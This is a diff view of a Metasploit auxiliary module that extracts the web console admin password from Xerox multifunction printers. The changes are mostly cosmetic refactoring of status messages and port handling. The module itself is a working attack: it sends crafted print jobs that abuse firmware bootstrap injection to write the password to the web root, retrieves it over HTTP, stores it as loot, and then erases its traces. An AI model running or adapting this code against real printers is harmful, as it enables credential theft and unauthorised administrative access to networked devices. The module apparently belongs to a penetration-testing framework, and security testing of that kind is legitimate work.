1
1
#
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
+
5
6
require 'msf/core'
6
7
7
8
class Metasploit3 < Msf ::Auxiliary
@@ -13,7 +14,8 @@ def initialize(info={})
13
14
super ( update_info ( info ,
14
15
'Name' => 'Xerox Administrator Console Password Extract' ,
15
16
'Description' => %{
16
- This module will extract the management consoles admin password from the Xerox file system using firmware bootstrap injection.
17
+ This module will extract the management consoles admin password from the Xerox file system
18
+ using firmware bootstrap injection.
17
19
} ,
18
20
'Author' =>
19
21
[
@@ -31,37 +33,40 @@ def initialize(info={})
31
33
] , self . class )
32
34
end
33
35
36
+ def jport
37
+ datastore [ 'JPORT' ]
38
+ end
39
+
34
40
# Time to start the fun
35
41
def run
36
- print_status ( "Attempting to extract the web consoles admin password from the Xerox MFP at #{ rhost } " )
37
- unless write
38
- return
39
- end
42
+ print_status ( "#{ rhost } : #{ jport } - Attempting to extract the web consoles admin password... " )
43
+ return unless write
44
+
45
+ print_status ( " #{ rhost } : #{ jport } - Waiting #{ datastore [ 'TIMEOUT' ] } seconds..." )
40
46
sleep ( datastore [ 'TIMEOUT' ] )
41
47
passwd = retrieve
42
48
remove
43
49
44
50
if passwd
45
- print_good ( "#{ rhost } :#{ rport } - Password found: #{ passwd } " )
51
+ print_good ( "#{ rhost } :#{ jport } - Password found: #{ passwd } " )
46
52
47
53
loot_name = 'xerox.password'
48
54
loot_type = 'text/plain'
49
- loot_filename = 'xerox-password .text'
55
+ loot_filename = 'xerox_password .text'
50
56
loot_desc = 'Xerox password harvester'
51
57
p = store_loot ( loot_name , loot_type , datastore [ 'RHOST' ] , passwd , loot_filename , loot_desc )
52
- print_status ( "Credentials saved in: #{ p } " )
58
+ print_status ( "#{ rhost } : #{ jport } - Credentials saved in: #{ p } " )
53
59
54
60
register_creds ( 'Xerox-HTTP' , rhost , rport , 'Admin' , passwd )
55
61
56
62
else
57
- print_status ( 'No credentials extracted' )
58
- return
63
+ print_error ( "#{ rhost } :#{ jport } - No credentials extracted" )
59
64
end
60
65
end
61
66
62
67
#Trigger firmware bootstrap write out password data to URL root
63
68
def write
64
- print_status ( ' Sending print job' )
69
+ print_status ( " #{ rhost } : #{ jport } - Sending print job" )
65
70
create_print_job = '%%XRXbegin' + "\x0a "
66
71
create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0a "
67
72
create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0a "
@@ -89,18 +94,17 @@ def write
89
94
create_print_job << "\x00 \x28 \x00 \x00 "
90
95
91
96
begin
92
- connect ( true , 'RPORT' => datastore [ 'JPORT' ] . to_i )
97
+ connect ( true , 'RPORT' => jport )
93
98
sock . put ( create_print_job )
94
99
rescue ::Timeout ::Error , Rex ::ConnectionError , Rex ::ConnectionRefused , HostUnreachable , Rex ::ConnectionTimeout , Rex ::AddressInUse
95
- print_error ( "Error connecting to #{ rhost } " )
96
- return
100
+ print_error ( "#{ rhost } :#{ jport } - Error connecting to #{ rhost } " )
97
101
ensure
98
102
disconnect
99
103
end
100
104
end
101
105
102
106
def retrieve
103
- print_status ( "Retrieving password from #{ rhost } " )
107
+ print_status ( "#{ rhost } : #{ jport } - Retrieving password from #{ rhost } " )
104
108
request = "GET /Praeda.txt HTTP/1.0\r \n \r \n "
105
109
106
110
begin
@@ -110,7 +114,7 @@ def retrieve
110
114
passwd = res . match ( /\r \n \s (.+?)\n / )
111
115
return passwd ? passwd [ 1 ] : ''
112
116
rescue ::EOFError , ::Timeout ::Error , Rex ::ConnectionError , Rex ::ConnectionRefused , HostUnreachable , Rex ::ConnectionTimeout , Rex ::AddressInUse , EOFError
113
- print_error ( "Error getting password from #{ rhost } " )
117
+ print_error ( "#{ rhost } : #{ jport } - Error getting password from #{ rhost } " )
114
118
return
115
119
ensure
116
120
disconnect
@@ -119,7 +123,7 @@ def retrieve
119
123
120
124
# Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL
121
125
def remove
122
- print_status ( ' Removing print job' )
126
+ print_status ( " #{ rhost } : #{ jport } - Removing print job" )
123
127
remove_print_job = '%%XRXbegin' + "\x0A "
124
128
remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A "
125
129
remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A "
@@ -144,11 +148,10 @@ def remove
144
148
remove_print_job << "\x75 \xe1 \x00 \x28 \x00 \x00 "
145
149
146
150
begin
147
- connect ( true , 'RPORT' => datastore [ 'JPORT' ] . to_i )
151
+ connect ( true , 'RPORT' => jport )
148
152
sock . put ( remove_print_job )
149
153
rescue ::Timeout ::Error , Rex ::ConnectionError , Rex ::ConnectionRefused , HostUnreachable , Rex ::ConnectionTimeout , Rex ::AddressInUse
150
- print_error ( "Error removing print job from #{ rhost } " )
151
- return
154
+ print_error ( "#{ rhost } :#{ jport } - Error removing print job from #{ rhost } " )
152
155
ensure
153
156
disconnect
154
157
end
0 commit comments